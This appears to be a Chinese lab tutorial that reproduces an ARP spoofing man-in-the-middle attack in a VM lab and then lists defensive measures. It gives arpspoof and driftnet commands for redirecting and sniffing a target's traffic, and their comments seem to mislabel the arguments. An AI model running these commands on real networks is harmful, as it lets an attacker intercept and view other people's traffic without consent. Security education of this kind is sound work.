本文仅用于研究ARP欺骗攻击与防护技术,切勿用于非法用途,本文不承担任何法律责任。
ARP(地址解析协议)欺骗是一种中间人攻击,攻击者试图在网络通信中介入,截取、篡改或监视通信流量。ARP欺骗攻击利用了ARP协议的漏洞,通过伪造ARP响应来欺骗目标设备,使其误认为攻击者的MAC地址与特定IP地址相对应,从而导致网络通信流量被重定向到攻击者的设备上。
前置准备
- 虚拟机网关:192.168.0.2(win10)
- 靶机:192.168.0.134(win sp1)
- 攻击机:192.168.0.140(kali 2023.1)
- 工具安装:driftnet、arpspoof
driftnet
类型:网络嗅探工具。
简介:Driftnet是一个开源的网络嗅探工具,旨在捕获网络流量中的图像文件。它可以监视网络中的HTTP流量,并提取其中的图像文件,然后将这些图像显示在用户界面上。Driftnet通常用于教育、安全研究和网络监视,以便分析网络流量中是否存在敏感或不适当的图像内容。
使用示例:
driftnet -i eth0
arpspoof
类型:ARP欺骗工具。
简介:Arpspoof是一个网络工具,用于执行ARP欺骗攻击。ARP欺骗攻击是一种中间人攻击,攻击者通过伪造ARP响应来欺骗目标设备,使其认为攻击者的MAC地址与目标设备的IP地址相对应。这使得攻击者能够拦截、篡改或监视目标设备与其他设备之间的网络通信。Arpspoof通常用于网络安全测试和演示,以揭示网络中的潜在安全漏洞。
使用示例:
arpspoof -i eth0 -t target_ip gateway_ip
漏洞原理
ARP数据包的种类有两种
ARP请求:
目的:当一个设备需要知道某个特定IP地址对应的MAC地址时,它会发送一个ARP请求。
过程:设备会在本地网络广播一个ARP请求帧,其中包含了目标IP地址,以请求其他设备提供对应的MAC地址。
响应:网络中的其他设备会接收到这个ARP请求,如果其中有一个设备拥有被请求的IP地址,它会发送一个ARP应答帧回应,包含了自己的MAC地址。
ARP应答:
目的:当一个设备收到ARP请求并且拥有被请求的IP地址时,它会发送一个ARP应答。
过程:设备收到ARP请求后,会构建一个ARP应答帧,其中包含了自己的MAC地址,并将其发送给ARP请求的源设备。
效果:源设备收到ARP应答后,就知道了目标IP地址对应的MAC地址,从而可以在数据链路层上正确地发送数据帧。
ARP欺骗漏洞产生原因
ARP协议的工作原理:ARP(Address Resolution Protocol)是用于将IP地址映射到物理MAC地址的协议。它是一个无状态协议,没有验证机制,因此容易受到攻击。攻击者可以发送虚假的ARP响应,欺骗其他计算机,使其将数据发送到错误的MAC地址。
- 缺乏身份验证:ARP协议本身没有身份验证机制,任何计算机都可以发送ARP请求或响应。这使得攻击者可以伪装成合法设备,发送虚假ARP响应,引导流量经过他们的计算机。
- 局域网环境:ARP欺骗漏洞通常发生在局域网环境中,因为ARP协议仅在同一局域网中工作。攻击者必须在同一物理网络中,才能执行ARP欺骗攻击。
- 缺乏加密:ARP协议中的ARP请求和响应都是明文传输的,不经过加密。这意味着攻击者可以轻松地拦截和篡改这些消息,从而进行欺骗攻击。
- 网络设备不安全:某些网络设备可能缺乏足够的安全措施,容易受到ARP欺骗攻击。这些设备可能不会正确验证ARP响应的真实性,导致攻击成功。
漏洞复现
抓取ICMP包
清空windows
靶机的arp
表并关闭防火墙
攻击机ip信息
Linux开启路由转发功能
# 将配置项写入配置文件
└─$ sudo vim /etc/sysctl.conf
└─$ cat /etc/sysctl.conf | tail -n 1
net.ipv4.ip_forward=1
# 重新加载内核参数设置
└─$ sudo sysctl -p
net.ipv4.ip_forward = 1
# 重启主机并验证
└─$ sysctl net.ipv4.ip_forward
net.ipv4.ip_forward = 1
查看当前网段下的主机的IP
和MAC
地址
靶机原ARP
表
正常ICMP
请求包
进行ARP
欺骗攻击
# 将攻击机(192.168.0.140)伪装成网关(192.168.0.2)
sudo arpspoof -i eth0 -t 192.168.0.2 192.168.0.140
# 将攻击机(192.168.0.140)伪装成靶机(192.168.0.134)
sudo arpspoof -i eth0 -t 192.168.0.134 192.168.0.2
欺骗后的ARP
表,可以发现网关的MAC
地址被篡改
被篡改后的ICMP
请求包
抓取HTTP包
在云主机上存放一张图片,启动一个简单的HTTP服务器
url为:http://x.x.x.x:8080/1.jpg
开启**driftnet**
捕获网络流量中的图像文件
靶机浏览器请求访问 http://x.x.x.x:8080/1.jpg
篡改前与篡改后的请求路线对比
"网关"(这里的网关被篡改为攻击机的MAC)去请求云服务器(http://x.x.x.x:8080/1.jpg),数据在回传回来到"网关",最后“网关”再回传到靶机浏览器上显示1.jpg图片
ps: 这里难以抓取https的数据包
还要一些利用方法后续更新(下次一定)
ARP安全防范
- 静态ARP表项设置:将重要的网络设备的ARP表项设置为静态,这样它们不会轻易受到欺骗攻击的影响。这需要在网络设备上手动配置。
- ARP缓存检查:监控ARP缓存中的条目,检测是否有异常的ARP记录,例如同一IP地址对应不同的MAC地址。可以使用工具或脚本来实现自动检查。
- ARP欺骗检测工具:部署专门的ARP欺骗检测工具,这些工具可以监控和检测ARP攻击,并立即采取措施来应对异常情况。
- 端口安全措施:在交换机和路由器上启用端口安全功能,限制每个端口可以学习的MAC地址数量,防止攻击者通过伪造MAC地址来进行ARP欺骗。
- 网络隔离:将网络分段,使用VLAN等技术将不同的部门或设备隔离开来,减少潜在的ARP攻击面。
- ARP缓存定期清除:定期清除设备上的ARP缓存,以防止缓存中的恶意或过期ARP记录对网络造成潜在威胁。
- 网络监控:实施全面的网络监控,以检测异常流量和活动,从而更早地发现并应对潜在的ARP攻击。
- 强化物理安全:确保网络设备受到适当的物理安全保护,防止未经授权的人员访问设备并进行ARP攻击。
参考链接
linux 网络问题 ipv4 forwarding_ipv4_forward_MrMoving的博客-CSDN博客
arpspoof+driftnet+ ARP欺骗简单图片抓取 - 晓枫v5 - 博客园
ARP欺骗 · 白帽与安全 · 看云